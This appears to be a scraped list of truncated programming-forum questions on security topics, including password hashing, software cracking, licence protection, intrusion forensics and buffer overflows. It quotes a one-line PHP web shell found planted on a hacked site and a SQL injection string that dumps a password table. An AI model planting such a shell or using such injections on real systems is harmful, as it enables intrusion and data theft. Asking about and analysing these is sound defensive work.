After the linkedin password hash leak, I've been looking at our password hashing. We using Django 1.4 which uses PBKDF2, which is great and a step up from the previous SHA1. However I'm curious ho...

We started to get multiple such errors daily, appearing in the Event Log: Invalid JSON primitive: alihack. at System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializePrimitiveOb...

I have written a UI in Electron and I would like to connect it with my C++ code. However, I will be selling this product and so I would like to know if this makes it easier for people to crack my C...

I have database of firebird of more than 8 GB and I want to migrate all the data from it. But I have forgotten the username and password. Is there anyway or any tool through which I can crack this ...

I want to make sure my site is protected against hacking attempts and I think the best way to test is to try and hack my site myself. What sort of things do hackers do to try and hack my site? E.g...

I would like to know if there is a way to crack C# Windows application with OllyDebug. I have simple my own CrackMe application written with Visual C# 2010 Express. When I open it with OllyDebug an...

If I have a server with a database of top secret data in PostgreSQL and my password is practically impossible to guess (128 character string of all sorts of weird chars, generated by hand). The ser...

I have a free to download Android app, which comes with in-app purchase item (Non-consumable Items) Recently, I found several black markets carry my Android app, with all the in-app purchase item ...

I will start off with saying I know that it is impossible to prevent your software from reverse engineering. But, when I take a look at crackmes.de, there are crackmes with a difficulty grade of 8...

The following query return all the passwords in the table tbl_user but I can not understand why this is happening. SELECT password FROM tbl_users WHERE name = 'admin' OR 1=1 -- ' Please help me ...

Recently a website I have been involved with was hacked with unauthorised code being placed on a number of pages. I was just wondering if anyone could shed any light onto what exactly this code doe...

I am really sad because a few days ago we launched our software developed in .Net 4.0 (Desktop application). After 3 days, its crack was available on the internet. We tried to protect the software ...

I want to sell my Java application using PayPal. When a payment is received, the customer is mailed a one-time download link to my application. My question is, how do I prevent people from s...

We had an intrusion into our server over the weekend and I'm trying to trace the tracks of the intruder. It seems they ran a perl script, causing a www-data process called init to run at 100%. Unfo...

The problem is I've a slow internet connection, and the video doesn't buffer like in YouTube. Therefore I was wondering weather I can extract the url of the .flv file which is being streamed in JW ...

I found a line of script left by the hacker in one of my PHP files. And it reads like this: <?php ($_=@$_GET[2]).@$_($_POST[1]); ?> Can anyone please give some hints about what this line...

I was going about doing my annual password change on my accounts and tried various sites (microsoft, lastpass, etc) to try out hypothetical passwords. Some sites seem a bit more thorough than...

There is a nice site http://www.howsecureismypassword.net/ which determines how long it will take to crack a password. What I want is to implement feature like this, so I need an algorithm for tha...

For the paid version of my app I'm opting for the unlocker app route because it's easy to implement, allows for individual stats in the Developer Console but mostly because I wouldn't need to maint...

I've encrypted some pdf files with iTextsharp lib and using AES 128bits and key length = 16bytes(protect reading).Can anyone break password or some app can do that? Thank so much.

I'm looking for software protection and/or code obfuscation software like Oreans Themida, VSProtect, ASPRotect and similar. However, antivirus false positives is a deal-breaker for me. I cannot inc...

I'm building a blacklisting service for cracked iPhone apps and I am curious if I missed a method for detecting cracked apps. In the moment following app crack detection methods are available...

I've inherited a bunch of dBase (.dbf) files from a legacy application, and I need to import the data into MS SQL or MS Access. I know these programs have built in "import" functions, but the dBase...

I want to skip a line in C, the line x=1; in the main section using bufferoverflow; however, I don't know why I can not skip the address from 4002f4 to the next address 4002fb in spite of the fact ...

I am using cocoafob for licensing. Unfortunaletly my app is always cracked quickly after each release. Is there a way do make this a little more difficult?